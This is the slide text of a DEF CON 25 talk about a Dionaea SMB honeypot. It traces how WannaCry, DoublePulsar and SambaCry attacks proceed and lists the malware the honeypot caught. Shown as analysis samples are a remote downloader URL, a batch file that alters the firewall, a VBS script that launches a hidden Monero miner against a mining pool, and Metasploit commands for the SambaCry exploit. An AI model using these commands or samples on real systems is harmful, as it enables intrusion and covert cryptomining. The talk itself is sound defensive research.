Stories from a 15 days SMB honeypot

Tan Kean Siong
@gento_
DEF CON 25
#whoami

- The Honeynet Project
- Dionaea honeypot, Honeeepi developer
- Hack In The Box crew / CTF team
Ooops, your files have been encrypted!

What Happened to My Computer?

Your important files are encrypted.
Many of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are busy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.

Can I Recover My Files?

Sure. We guarantee that you can recover all your files safely and secretly. But you have to pay.

You can decrypt some of your files for free. Try now by clicking Decrypt.
But if you want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don’t pay in 7 days, you won’t be able to recover your files forever.
We will have free events for users who are so poor that they couldn’t pay it anywhere.

How Do I Pay?

Payment is accepted in Bitcoin only. For more information, click About Bitcoin.
Click How to buy bitcoins
And send the correct amount to the address specified in this window.
After your payment, click Check Payment.
Next time to check: 05/23 02:23:30

Send $500 worth of bitcoin to this address:
13AM4YW2dnYgPxeQg5H1J4eV1Zv5Qd

Check Payment

Decrypt
WannaCry
Ransomware Attack

WannaCry attacks lifecycle

#1 Check if the system vulnerable to MS17-010 vuln
#2 Check if Double Pulsar installed
  #3 Launch ExternalBlue exploit
  #4 Install Double Pulsar

#5 Deliver payload (WannaCry)
#1 Check if the system vulnerable to MS17-010

<table>
<thead>
<tr>
<th>No</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>192.168.116.149</td>
<td>192.168.116.138</td>
<td>SMB</td>
<td>Tree Connect AndX Request, Path: \192.168.116.138\IPC$</td>
</tr>
<tr>
<td>6</td>
<td>192.168.116.138</td>
<td>192.168.116.149</td>
<td>SMB</td>
<td>Tree Connect AndX Response</td>
</tr>
</tbody>
</table>

**SMB (Server Message Block Protocol)**

**SMB Header**

- **Server Component**: SMB
- **Response in**: 1126
- **SMB Command**: Trans (0x25)
- **Error Class**: Success (0x00)
- **Reserved**: 00
- **Error Code**: No Error

- **Flags**: 0x18, Canonicalized Pathnames, Case Sensitivity
- **Flags2**: 0x2801, Execute-only Reads, Extended Security Negotiation, Long Names Allowed
- **Process ID High**: 0
- **Signature**: 00000000(199,703),(423,718)
- **Reserved**: 0000

- **Tree ID**: 2048 (\192.168.116.138\IPC$)
- **Process ID**: 2048
- **User ID**: 2048
- **Multiplex ID**: 24261
#1 Check if the system vulnerable to MS17-010

<table>
<thead>
<tr>
<th>No</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>192.168.116.149</td>
<td>192.168.116.138</td>
<td>SMB</td>
<td>Tree Connect AndX Request, Path: \192.168.116.138\IPC$</td>
</tr>
<tr>
<td>6</td>
<td>192.168.116.138</td>
<td>192.168.116.149</td>
<td>SMB</td>
<td>Tree Connect AndX Response</td>
</tr>
</tbody>
</table>

**SMB (Server Message Block Protocol)**

- **SMB Header**
  - Server Component: SMB
  - [Response to: 1125]
  - [Time from request: 0.000083000 seconds]
  - SMB Command: Trans (0x25)

- **NT Status:** STATUS_INSUFF_SERVER_RESOURCES (0xC0000205)
  - Flags: 0x98, Request/Response, Canonicalized Pathnames, Case Sensitivity
  - Flags2: 0x6801, Error Code Type, Execute-only Reads, Extended Security Negotiation, Long Names Allowed
  - Process ID High: 0
  - Signature: 0000000000000000
  - Reserved: 0000
  - Tree ID: 2048 (\192.168.116.138\IPC$)
  - Process ID: 2048
  - User ID: 2048
  - Multiplex ID: 24261
#2 Check if Double Pulsar installed

<table>
<thead>
<tr>
<th>No.</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>192.168.116.149</td>
<td>192.168.116.143</td>
<td>SMB</td>
<td>Session Setup AndX Request, User: anonymous</td>
</tr>
<tr>
<td>5</td>
<td>192.168.116.149</td>
<td>192.168.116.143</td>
<td>SMB</td>
<td>Tree Connect AndX Request, Path: \192.168.56.20\IPC$</td>
</tr>
<tr>
<td>6</td>
<td>192.168.116.143</td>
<td>192.168.116.149</td>
<td>SMB</td>
<td>Tree Connect AndX Response</td>
</tr>
<tr>
<td>7</td>
<td>192.168.116.149</td>
<td>192.168.116.143</td>
<td>SMB</td>
<td>Trans2 Request, SESSION_SETUP</td>
</tr>
</tbody>
</table>

- **NetBIOS Session Service**
- **SMB (Server Message Block Protocol)**
  - SMB Header
    - Server Component: SMB
    - [Response in: 1277]
    - SMB Command: Trans2 (0x32)
    - NT Status: STATUS_SUCCESS (0x00000000)
    - Flags: 0x18, Canonicalized Pathnames, Case Sensitivity
    - Flags2: 0xc007, Unicode Strings, Error Code Type, Security Signatures, Extended Attributes, Long Nam
    - Process ID High: 0
    - Signature: 0000000000000000
    - Reserved: 0000
    - Tree ID: 2048 (\192.168.56.20\IPC$)
    - Process ID: 65279
    - User ID: 2048
    - Multiplex ID: 65
#2 Check if Double Pulsar installed

<table>
<thead>
<tr>
<th>No.</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>192.168.116.149</td>
<td>192.168.116.143</td>
<td>SMB</td>
<td>Session Setup AndX Request, User: anonymous</td>
</tr>
<tr>
<td>5</td>
<td>192.168.116.149</td>
<td>192.168.116.143</td>
<td>SMB</td>
<td>Tree Connect AndX Request, Path: \192.168.56.20\IPC$</td>
</tr>
<tr>
<td>6</td>
<td>192.168.116.143</td>
<td>192.168.116.143</td>
<td>SMB</td>
<td>Tree Connect AndX Response</td>
</tr>
<tr>
<td>7</td>
<td>192.168.116.143</td>
<td>192.168.116.143</td>
<td>SMB</td>
<td>Trans2 Request, SESSION_SETUP</td>
</tr>
</tbody>
</table>

- **NetBIOS Session Service**
- **SMB (Server Message Block Protocol)**
  - **SMB Header**
    - Server Component: SMB
      - [Response to: 1276]
    - [Time from request: 0.00011000 seconds]
    - SMB Command: Trans2 (0x32)
    - NT Status: STATUS_NOT_IMPLEMENTED (0xc0000002)
    - Flags: 0x98, Request/Response, Canonicalized Pathnames, Case Sensitivity
    - Flags2: 0xc007, Unicode Strings, Error Code Type, Security Signatures, Extended Attributes, Long Name
    - Process ID High: 0
    - Signature: 0000000000000000
    - Reserved: 0000
    - Tree ID: 2048 (\192.168.56.20\IPC$)
    - Process ID: 65279
    - User ID: 2048
    - Multiplex ID: 65
#3 EternalBlue exploitation...
#4 Probe DoublePulsar again

<table>
<thead>
<tr>
<th>No.</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>192.168.116.149</td>
<td>192.168.116.138</td>
<td>SMB</td>
<td>Tree Connect AndX Request, Path: \192.168.56.20\IPC$</td>
</tr>
<tr>
<td>6</td>
<td>192.168.116.138</td>
<td>192.168.116.149</td>
<td>SMB</td>
<td>Tree Connect AndX Response</td>
</tr>
</tbody>
</table>

**SMB Header**

- **Server Component:** SMB
- **SMB Command:** Trans2 (0x32)
- **NT Status:** STATUS_SUCCESS (0x00000000)
- **Flags:** 0x18, Canonicalized Pathnames, Case Sensitivity
- **Flags2:** 0xc007, Unicode Strings, Error Code Type, Security Signatures, Extended Attributes, Long...
- **Process ID High:** 0
- **Signature:** 0000000000000000
- **Reserved:** 0000
- **Tree ID:** 2048 (\192.168.56.20\IPC$)
- **Process ID:** 65279
- **User ID:** 2048
- **Multiplex ID:** 65
#4 Double Pulsar answered!

![SMB Traffic Table](image)

<table>
<thead>
<tr>
<th>No.</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>192.168.116.149</td>
<td>192.168.116.138</td>
<td>SMB</td>
<td>Tree Connect AndX Request, Path: <code>\192.168.56.20\IPC$</code></td>
</tr>
<tr>
<td>6</td>
<td>192.168.116.138</td>
<td>192.168.116.149</td>
<td>SMB</td>
<td>Tree Connect AndX Response</td>
</tr>
<tr>
<td>7</td>
<td>192.168.116.149</td>
<td>192.168.116.138</td>
<td>SMB</td>
<td>Trans2 Request, SESSION_SETUP</td>
</tr>
</tbody>
</table>

**SMB Header**

- Server Component: SMB
- SMB Command: Trans2 (0x32)
- NT Status: STATUS_NOT_IMPLEMENTED (0xc0000002)
- Flags: 0x98, Request/Response, Canonicalized Pathnames, Case Sensitivity
- Flags2: 0xc007, Unicode Strings, Error Code Type, Security Signatures, Extended Attributes, Long
- Process ID High: 0
- Signature: 3a10e03601000000
- Reserved: 0000
- Tree ID: 2048 (`\192.168.56.20\IPC$`)
- Process ID: 65279
- User ID: 2048
- Multiplex ID: 81
#5 Payload (WannaCry) delivery...

<table>
<thead>
<tr>
<th>No</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>192.168.116.149</td>
<td>192.168.116.149</td>
<td>SMB</td>
<td>1312</td>
<td>Trans2 Request, SESSION_SETUP</td>
</tr>
<tr>
<td>3</td>
<td>192.168.116.149</td>
<td>192.168.116.138</td>
<td>SMB</td>
<td>1312</td>
<td>Trans2 Request, SESSION_SETUP</td>
</tr>
<tr>
<td>5</td>
<td>192.168.116.149</td>
<td>192.168.116.138</td>
<td>SMB</td>
<td>1312</td>
<td>Trans2 Request, SESSION_SETUP</td>
</tr>
<tr>
<td>7</td>
<td>192.168.116.149</td>
<td>192.168.116.138</td>
<td>SMB</td>
<td>1312</td>
<td>Trans2 Request, SESSION_SETUP</td>
</tr>
<tr>
<td>9</td>
<td>192.168.116.149</td>
<td>192.168.116.138</td>
<td>SMB</td>
<td>1312</td>
<td>Trans2 Request, SESSION_SETUP</td>
</tr>
<tr>
<td>13</td>
<td>192.168.116.149</td>
<td>192.168.116.138</td>
<td>SMB</td>
<td>1312</td>
<td>Trans2 Request, SESSION_SETUP</td>
</tr>
<tr>
<td>15</td>
<td>192.168.116.149</td>
<td>192.168.116.138</td>
<td>SMB</td>
<td>1312</td>
<td>Trans2 Request, SESSION_SETUP</td>
</tr>
</tbody>
</table>
#6 ‘Kill Switch’ domain

<table>
<thead>
<tr>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.0.23</td>
<td>8.8.8.8</td>
<td>DNS</td>
<td>Standard query 0xa19a A <a href="http://www.iuqerfsodp9ifjaposdfjhgosuriijaefwrgwea.com">www.iuqerfsodp9ifjaposdfjhgosuriijaefwrgwea.com</a></td>
</tr>
<tr>
<td>8.8.8.8</td>
<td>192.168.0.23</td>
<td>DNS</td>
<td>Standard query response 0xa19a A <a href="http://www.iuqerfsodp9ifjaposdfjhgosuriijaefwrweer">www.iuqerfsodp9ifjaposdfjhgosuriijaefwrweer</a></td>
</tr>
<tr>
<td>192.168.0.23</td>
<td>144.217.254.3</td>
<td>HTTP</td>
<td>GET / HTTP/1.1</td>
</tr>
<tr>
<td>144.217.254.3</td>
<td>192.168.0.23</td>
<td>HTTP</td>
<td>HTTP/1.1 200 OK (text/html)</td>
</tr>
</tbody>
</table>

Hypertext Transfer Protocol

HTTP/1.1 200 OK

[Expert Info (Chat/Sequence): HTTP/1.1 200 OK]

Request Version: HTTP/1.1
Status Code: 200
Response Phrase: OK
Server: nginx
Date: Mon, 15 May 2017 20:18:37 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
WannaCry attacks

#1 Check if the system vulnerable to MS17-010 vuln
#2 Check if Double Pulsar installed
#3 Launch ExternalBlue exploit
#4 Install Double Pulsar

#5 Deliver payload (WannaCry)
Our honeypot design idea

#1 Check if the system vulnerable to MS17-010 vuln
#2 Check if Double Pulsar installed
  #3 Launch ExternalBlue exploit
  #4 Install Double Pulsar

#5 Deliver payload (WannaCry)
Dionaea – network honeypot

dionaea

catches bugs

Dionaea is meant to be a nepentes successor, embedding python as scripting language, using libemu to detect shellcodes, supporting ipv6 and tls

* Development <#development>
* Compiling & Installation <#compiling>
* Update <#update>
* Running <#running>
* Configuration <#configuration>
* Honors <#hono rem>
* Links <#links>
* FAQ <#FAQ>
* Segfault <#segfault>
* Support <#support>
* Blog <http://carnivore.it>

How it works

dionaea intention is to trap malware exploiting vulnerabilities exposed by services offerd to a network, the ultimate goal is gaining a copy of the malware.
Dionaea honeypot

- Low interaction
- Network protocol emulation
- SMB, HTTP, FTP, TFTP, MSSQL, MySQL, SIP, UPnP, MQTT
- + WannaCry detection

```
user@machine:/opt/dionaea/bin$ sudo ./dionaea -u nobody -g nogroup -D
Dionaea Version 0.6.0
Compiled on Linux/x86 at Jul 3 2017 19:07:23 with gcc 4.8.4
Started on machine running Linux/i686 release 4.4.0-31-generic
user@machine:/opt/dionaea/bin$
```
Dionaea + Double Pulsar

- Dionaea = **Window 7 system + DoublePulsar backdoor**
- Accept SMB Trans2 requests
- Interpret any incoming DoublePulsar commands
Dionaea + Double Pulsar

- The payload encrypted with a **4 bytes XOR key**
- 4 bytes key will be provided by the compromised host
2017-07-02 00:13:25 SMB dionaea/smb/smb.py:059: DoublePulsar request opcode: c8 command: exec
2017-07-02 00:13:26 SMB dionaea/smb/smb.py:114: === SMB did not get enough data
2017-07-02 00:13:26 SMB dionaea/smb/smb.py:647: Possible DoublePulsar connection attempts...
2017-07-02 00:13:26 SMB dionaea/smb/smb.py:659: DoublePulsar request opcode: c8 command: exec
2017-07-02 00:13:26 SMB dionaea/smb/smb.py:114: === SMB did not get enough data
2017-07-02 00:13:27 SMB dionaea/smb/smb.py:647: Possible DoublePulsar connection attempts...
2017-07-02 00:13:27 SMB dionaea/smb/smb.py:659: DoublePulsar request opcode: c8 command: exec
2017-07-02 00:13:27 SMB dionaea/smb/smb.py:114: === SMB did not get enough data
2017-07-02 00:13:27 SMB dionaea/smb/smb.py:647: Possible DoublePulsar connection attempts...
2017-07-02 00:13:27 SMB dionaea/smb/smb.py:659: DoublePulsar request opcode: c8 command: exec
2017-07-02 00:13:27 SMB dionaea/smb/smb.py:114: === SMB did not get enough data
2017-07-02 00:13:28 SMB dionaea/smb/smb.py:647: Possible DoublePulsar connection attempts...
2017-07-02 00:13:28 SMB dionaea/smb/smb.py:659: DoublePulsar request opcode: c8 command: exec
2017-07-02 00:13:28 SMB dionaea/smb/smb.py:114: === SMB did not get enough data
2017-07-02 00:13:28 SMB dionaea/smb/smb.py:647: Possible DoublePulsar connection attempts...
2017-07-02 00:13:28 SMB dionaea/smb/smb.py:659: DoublePulsar request opcode: c8 command: exec
2017-07-02 00:13:28 SMB dionaea/smb/smb.py:114: === SMB did not get enough data
2017-07-02 00:13:29 SMB dionaea/smb/smb.py:647: Possible DoublePulsar connection attempts...
2017-07-02 00:13:29 SMB dionaea/smb/smb.py:659: DoublePulsar request opcode: c8 command: exec
2017-07-02 00:13:29 SMB dionaea/smb/smb.py:114: === SMB did not get enough data
2017-07-02 00:13:29 SMB dionaea/smb/smb.py:647: Possible DoublePulsar connection attempts...
2017-07-02 00:13:29 SMB dionaea/smb/smb.py:659: DoublePulsar request opcode: c8 command: exec
2017-07-02 00:13:29 SMB dionaea/smb/smb.py:114: === SMB did not get enough data
2017-07-02 00:13:30 SMB dionaea/smb/smb.py:647: Possible DoublePulsar connection attempts...
2017-07-02 00:13:30 SMB dionaea/smb/smb.py:659: DoublePulsar request opcode: c8 command: exec
2017-07-02 00:13:30 SMB dionaea/smb/smb.py:114: === SMB did not get enough data
2017-07-02 00:13:30 SMB dionaea/smb/smb.py:647: Possible DoublePulsar connection attempts...
2017-07-02 00:13:30 SMB dionaea/smb/smb.py:659: DoublePulsar request opcode: c8 command: exec
2017-07-02 00:13:30 SMB dionaea/smb/smb.py:114: === SMB did not get enough data
2017-07-02 00:13:31 SMB dionaea/smb/smb.py:647: Possible DoublePulsar connection attempts...
2017-07-02 00:13:31 SMB dionaea/smb/smb.py:659: DoublePulsar request opcode: c8 command: exec
2017-07-02 00:13:31 SMB dionaea/smb/smb.py:114: === SMB did not get enough data
2017-07-02 00:13:31 SMB dionaea/smb/smb.py:647: Possible DoublePulsar connection attempts...
2017-07-02 00:13:31 SMB dionaea/smb/smb.py:659: DoublePulsar request opcode: c8 command: exec
2017-07-02 00:13:31 SMB dionaea/smb/smb.py:114: === SMB did not get enough data
2017-07-02 00:13:31 SMB dionaea/smb/smb.py:673: DoublePulsar payload receiving...
2017-07-02 00:13:31 SMB dionaea/smb/smb.py:678: DoublePulsar payload - MD5 (before XOR decryption): 320b198da867a2909dc1e544dad1fe149
2017-07-02 00:13:31 SMB dionaea/smb/smb.py:680: DoublePulsar payload - MD5 (after XOR decryption): 0b6bacef2563620a5410f9d2a8b1a182
2017-07-02 00:13:31 SMB dionaea/smb/smb.py:689: DoublePulsar payload - MZ header found...
2017-07-02 00:13:31 SMB dionaea/smb/smb.py:693: DoublePulsar payload - Save to disk
2017-07-02 00:13:31 log_sqlite dionaea/logsql.py:799: complete for attackid 234
2017-07-02 00:13:33 log_sqlite dionaea/logsql.py:765: attackid 234 is done
SambaCry

- CVE 2017-7494 vulnerability *wormable*
- Load arbitrary module in writable folder of an accessible share

```
msf > use exploit/linux/samba/is_known_pipename
msf exploit(is_known_pipename) > show targets
...targets...
msf exploit(is_known_pipename) > set TARGET <target-id>
msf exploit(is_known_pipename) > show options
...show and set options...
msf exploit(is_known_pipename) > exploit
```
Dionaea + SambaCry

- Dionaea = a Samba Server + writable shared folders
- Happily accept SMB Open And X and Write And X requests
- Collect any payloads or files ; )
BEER ME
What happened to my honeypot

- SMB traffic from Jan ~ June 2017 (6 months)
May 2017 > WannaCry

- 6350f8da991da9ee85c63e15cce88fbb - 5.1 Mb
- 79ee04537e0e6b9fe6310f4dc42c99b9 - 5.1 Mb
May 25, 2017 > DDoser

- Binary: abaf367870144ab8097690832eee9027 – 83 Kb
  - First seen: May 25 12:46

- Downloader
  - Windows version of BillGates botnet > DDOSer
May 28, 2017

- Binary: abaa9083ac7a529a9da203f135a4a56a - 70 KB
- First seen: May 28 15:49
- Downloader
  - http://cjman.iok[.]la:8/345.exe
    - MD5: 4e376bc4f8b2dd89dfbb8b8eb7c1b727
- Dropped multiple .vbs, .bat and .exes files
2.bat

```batch
netsh firewall set opmode mode=enable profile=all
netsh firewall set opmode enable
netsh advfirewall firewall add rule name="Seekhack" dir=in protocol=tcp localport=445 action=block
netsh advfirewall firewall add rule name="HackSeek" dir=in protocol=tcp localport=139 action=block
netsh firewall set portopening protocol=TCP port=445 mode=disable name=deny445
netsh firewall set portopening protocol=TCP port=139 mode=disable name=deny139
netsh advfirewall firewall add rule name = "Disable port 445 - TCP" dir = in action = block
netsh advfirewall firewall add rule name = "Disable port 445 - UDP" dir = in action = block
```

521.vbs

```vbs
Set ws = CreateObject("Wscript.Shell")
ws.run "%ComSpec% /c %SYSTEMROOT%/debug/Arial1/system32.exe -o stratum+tcp://pool.minexmr.com:5555 -u 46g6zRE6v3pXLguNCh551rCCzrF7emdpLdk6wsBZWVQ53AfzQXn2kSbMK6e6m73ChTGJ9zNCfCDNc11zdzLC\-
-p x", vbhide
```
May 28 > SambaCry first pwned~

- May 28 18:06 - d4a43b8c3e5b5a962bd4f2aff8ca8378 – 8 bytes
- May 28 18:06 - 349d84b3b176bbc9834230351ef3bc2a – 476 bytes
May 30, 2017

- 25e5894c088408b82aac1fd55fee3ffd - 5.1 Kb
  - Metasploit http reverse shell
May 30, 2017

- C77e9917cdaca2288f4627936c9a1cb3 – 39 Kb

First seen: May 30 23:27 UTC+8

  - MD5: d2930294173a37e4cf811aa37372fc00
  - Trojan Bitcoin Miner

Seen again: Jun 5 10:58 UTC+8

  - MD5: 3376bb46070776f7832c893926a079b8
May 30, 2017

<table>
<thead>
<tr>
<th>Name .extension</th>
<th>Size</th>
<th>Timestamp</th>
<th>Hits</th>
</tr>
</thead>
<tbody>
<tr>
<td>mat.exe</td>
<td>2.4 MB</td>
<td>2017/5/25 16:25:12</td>
<td>988</td>
</tr>
</tbody>
</table>
A binary with ~21500 download hits
Fun time ~ swf files
# Where can I download and run it

- **Dionaea honeypot**
  - https://github.com/gento/dionaea
  - https://github.com/DinoTools/dionaea/ *(highly recommend)*

- **Honeeeepi** – sensor on raspberry pi
  - https://redmine.honeynet.org/projects/honeeeepi/wiki
Thank you

Tan Kean Siong
@gento_
DEF CON 25